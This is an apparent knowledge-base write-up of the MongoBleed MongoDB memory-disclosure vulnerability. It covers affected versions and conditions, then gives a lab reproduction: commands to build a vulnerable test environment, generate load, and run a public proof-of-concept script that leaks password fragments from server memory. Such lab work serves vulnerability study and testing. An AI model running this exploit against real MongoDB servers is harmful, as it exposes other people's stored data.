Knowledge Base

MongoBleed — CVE-2025-14847

Updated 26 May 2026

Background

MongoDB Memory Disclosure via BSON Decompression

  1. CVSS
    7.5High
  2. VECTOR
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  3. IMPACT
    Information disclosure
  1. AFFECTED
    MongoDB8.2.0< 8.2.3
  2. MongoDB8.0.0< 8.0.17
  3. MongoDB7.0.0< 7.0.28
  4. MongoDB6.0.0< 6.0.27
  5. MongoDB5.0.0< 5.0.32
  6. MongoDB4.4.0< 4.4.30
  7. MongoDB4.2.0< N/A (EOL)
  8. MongoDB4.0.0< N/A (EOL)
  9. MongoDB3.6.0< N/A (EOL)

Dubbed MongoBleed, this memory disclosure vulnerability in MongoDB arises from improper buffer management during BSON decompression. When network compression is enabled with zlib, internal memory buffers may be reused between operations without being fully cleared, causing residual data from previously processed BSON documents to persist in process memory. An attacker with network access to the MongoDB service can recover plaintext fragments of application data — including previously written BSON fields — from that leaked memory via crash dumps, diagnostic tools, or forensic analysis.

All conditions must be present for exploitation:

  • MongoDB runs a vulnerable version
  • Network compression is enabled with zlib
  • Attacker has network-level access to the MongoDB service

Exposure likelihood increases under write-heavy workloads, large BSON documents, and long-lived MongoDB processes with high buffer reuse frequency.

Preparations

Test Environment

⚠ WarningThis PoC generates heavy database traffic and is intended for controlled environments only. Unless specifically requested, do not use this in a penetration test due to the heavy log pollution.

A minimal Node.js web application backed by a vulnerable MongoDB instance was implemented to validate this vulnerability. The application is intentionally inefficient and designed to generate a high volume of database activity in order to increase the likelihood of residual memory exposure. Load is generated using locust, simulating repeated user password reset workflows and producing sustained write-heavy operations against the database.

Step 1 — Build the environment

zsh
git clone git@github.com:0xPThree/mongobleed-test-environment.git
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
docker compose up --build

Step 2 — Simulate load

zsh
locust -f traffic-sim.py --host http://127.0.0.1:3000 --users 20 --spawn-rate 2 --headless --run-time 2m
Reproduction

POC || GTFO

With load running, clone and start the MongoBleed script against the vulnerable instance:

zsh
git clone https://github.com/Hamid-K/mongobleed.git
cd mongobleed
python3 mongobleed.py --host 127.0.0.1 --port 27017 --max-offset 15000 --loop

After several minutes, analysis of the binary output should reveal fragments of sensitive JSON data leaked from process memory.

Canceling the MongoBleed scriptCanceling the MongoBleed script

Raw memory output, grepping for 'pass'Raw memory output, grepping for 'pass'

Parsed memory outputParsed memory output

References

Further reading